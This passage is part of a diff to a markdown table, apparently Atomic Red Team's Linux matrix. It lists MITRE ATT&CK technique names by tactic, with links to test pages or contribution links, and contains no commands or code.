Non-C2 Protocol](../../T1048.003/T1048.003.md) | Dead Drop Resolver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Structure Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cloud Accounts](../../T1078.004/T1078.004.md) | Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create Snapshot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | VNC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Cloud Storage Object [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Fronting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Phishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Compromise Client Software Binary [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Domain Trust Modification](../../T1484.002/T1484.002.md) | Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Forge Web Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [File and Directory Discovery](../../T1083/T1083.md) | Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Configuration Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration over USB [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Spearphishing Attachment [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Native API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Container Orchestration Job](../../T1053.007/T1053.007.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | Delete Cloud Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internet Connection Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Data from Information Repositories [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Cloud Storage [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Resolution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Spearphishing Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Device CLI [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Escape to Host](../../T1611/T1611.md) | [Deobfuscate/Decode Files or Information](../../T1140/T1140.md) | [Keylogging](../../T1056.001/T1056.001.md) | [Local Account](../../T1087.001/T1087.001.md) |  | Data from Local System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Encrypted Channel [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Firmware Corruption [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Spearphishing via Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Python](../../T1059.006/T1059.006.md) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Deploy Container [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Local Groups](../../T1069.001/T1069.001.md) |  | Data from Network Shared Drive [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Inhibit System Recovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Supply Chain Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cron](../../T1053.003/T1053.003.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable Cloud Logs](../../T1562.008/T1562.008.md) | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Service Scanning](../../T1046/T1046.md) |  | Data from Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Traffic Duplication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Fallback Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internal Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Trusted Relationship [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scripting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disable Crypto Hardware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Device Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Share Discovery](../../T1135/T1135.md) |  | Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Fast Flux DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Software Deployment Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Kernel Modules and Extensions](../../T1547.006/T1547.006.md) | Disable or Modify Cloud Firewall [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Sniffing](../../T1040/T1040.md) | [Network Sniffing](../../T1040/T1040.md) |  | Email Forwarding Rule [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | File Transfer Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | Source [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable or Modify System Firewall](../../T1562.004/T1562.004.md) | OS Credential Dumping [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Policy Discovery](../../T1201/T1201.md) |  | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Ingress Tool Transfer](../../T1105/T1105.md) | Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | [Systemd Timers](../../T1053.006/T1053.006.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | Proc Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable or Modify Tools](../../T1562.001/T1562.001.md) | Password Cracking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Permission Groups Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Keylogging](../../T1056.001/T1056.001.md) |  | [Internal Proxy](../../T1090.001/T1090.001.md) | [Resource Hijacking](../../T1496/T1496.md) |
-|  | [Unix Shell](../../T1059.004/T1059.004.md) | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Process Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Guessing](../../T1110.001/T1110.001.md) | [Process Discovery](../../T1057/T1057.md) |  | [Local Data Staging](../../T1074.001/T1074.001.md) |  | Junk Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | User Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exchange Email Delegate Permissions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Ptrace System Calls [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Password Managers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Remote System Discovery](../../T1018/T1018.md) |  | Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Mail Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | Visual Basic [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [RC Scripts](../../T1037.004/T1037.004.md) | [Domain Trust Modification](../../T1484.002/T1484.002.md) | [Password Spraying](../../T1110.003/T1110.003.md) | [Security Software Discovery](../../T1518.001/T1518.001.md) |  | Network Device Configuration Dump [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Multi-Stage Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Stop [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  |  | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Downgrade System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Pluggable Authentication Modules](../../T1556.003/T1556.003.md) | Software Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Multi-hop Proxy](../../T1090.003/T1090.003.md) | Stored Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  |  | Implant Internal Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Setuid and Setgid](../../T1548.001/T1548.001.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | [Private Keys](../../T1552.004/T1552.004.md) | [System Checks](../../T1497.001/T1497.001.md) |  | Remote Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Multiband Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Shutdown/Reboot](../../T1529/T1529.md) |
-|  |  | [Kernel Modules and Extensions](../../T1547.006/T1547.006.md) | [Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Proc Filesystem](../../T1003.007/T1003.007.md) | [System Information Discovery](../../T1082/T1082.md) |  | SNMP (MIB Dump) [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Non-Application Layer Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Transmitted Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  |  | [Local Account](../../T1136.001/T1136.001.md) | [Systemd Service](../../T1543.002/T1543.002.md) | Execution Guardrails [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [SAML Tokens](../../T1606.002/T1606.002.md) | System Location Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Screen Capture](../../T1113/T1113.md) |  | Non-Standard Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Systemd Timers](../../T1053.006/T1053.006.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Securityd Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Network Configuration Discovery](../../T1016/T1016.md) |  | Sharepoint [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Non-Standard Port](../../T1571/T1571.md) |  |
-|  |  | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Trap](../../T1546.005/T1546.005.md) | [File Deletion](../../T1070.004/T1070.004.md) | Steal Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Network Connections Discovery](../../T1049/T1049.md) |  | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | One-Way Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Network Device Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Unix Shell Configuration Modification](../../T1546.004/T1546.004.md) | File and Directory Permissions Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Owner/User Discovery](../../T1033/T1033.md) |  |  |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Office Application Startup [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | VDSO Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hidden File System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Time Based Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Protocol Impersonation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Office Template Macros [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Hidden Files and Directories](../../T1564.001/T1564.001.md) | Unsecured Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | User Activity Based Checks [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Protocol Tunneling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Office Test [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | XDG Autostart Entries [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hide Artifacts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Web Cookies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Outlook Forms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  | Remote Access Software [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Outlook Home Page [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Impair Command History Logging](../../T1562.003/T1562.003.md) |  |  |  |  |  | [Standard Encoding](../../T1132.001/T1132.001.md) |  |
-|  |  | Outlook Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Impair Defenses [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Steganography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | [Pluggable Authentication Modules](../../T1556.003/T1556.003.md) |  | [Indicator Blocking](../../T1562.006/T1562.006.md) |  |  |  |  |  | Symmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Indicator Removal from Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Pre-OS Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Indicator Removal on Host [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | [Web Protocols](../../T1071.001/T1071.001.md) |  |
-|  |  | [RC Scripts](../../T1037.004/T1037.004.md) |  | [Install Root Certificate](../../T1553.004/T1553.004.md) |  |  |  |  |  | Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | ROMMONkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Linux and Mac File and Directory Permissions Modification](../../T1222.002/T1222.002.md) |  |  |  |  |  |  |  |
-|  |  | Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | SQL Stored Procedures [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Masquerade Task or Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [SSH Authorized Keys](../../T1098.004/T1098.004.md) |  | Masquerading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Match Legitimate Name or Location](../../T1036.005/T1036.005.md) |  |  |  |  |  |  |  |
-|  |  | Server Software Component [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Systemd Service](../../T1543.002/T1543.002.md) |  | Modify Cloud Compute Infrastructure [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Systemd Timers](../../T1053.006/T1053.006.md) |  | Modify System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | TFTP Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Network Address Translation Traversal [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Network Boundary Bridging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Transport Agent [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Network Device Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Trap](../../T1546.005/T1546.005.md) |  | [Obfuscated Files or Information](../../T1027/T1027.md) |  |  |  |  |  |  |  |
-|  |  | [Unix Shell Configuration Modification](../../T1546.004/T1546.004.md) |  | Patch System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Pluggable Authentication Modules](../../T1556.003/T1556.003.md) |  |  |  |  |  |  |  |
-|  |  | Web Shell [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | XDG Autostart Entries [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Pre-OS Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+| Compromise Hardware Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Add Office 365 Global Administrator Role [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [At (Linux)](../../T1053.001/T1053.001.md) | Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Browser Bookmark Discovery](../../T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Transfer Size Limits](../../T1030/T1030.md) | Asymmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Compromise Software Dependencies and Development Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Container Administration Command](../../T1609/T1609.md) | Add-ins [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Binary Padding](../../T1027.001/T1027.001.md) | Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive Collected Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Bidirectional Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Compromise Software Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Container Orchestration Job](../../T1053.007/T1053.007.md) | [Additional Cloud Credentials](../../T1098.001/T1098.001.md) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Bash History](../../T1552.003/T1552.003.md) | Cloud Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Lateral Tool Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](../../T1048.002/T1048.002.md) | Commonly Used Port [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Destruction](../../T1485/T1485.md) |
+| Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cron](../../T1053.003/T1053.003.md) | [At (Linux)](../../T1053.001/T1053.001.md) | [Cloud Accounts](../../T1078.004/T1078.004.md) | Build Image on Host [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Brute Force [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud Infrastructure Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Remote Service Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Archive via Library](../../T1560.002/T1560.002.md) | Exfiltration Over Bluetooth [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Communication Through Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Encrypted for Impact](../../T1486/T1486.md) |
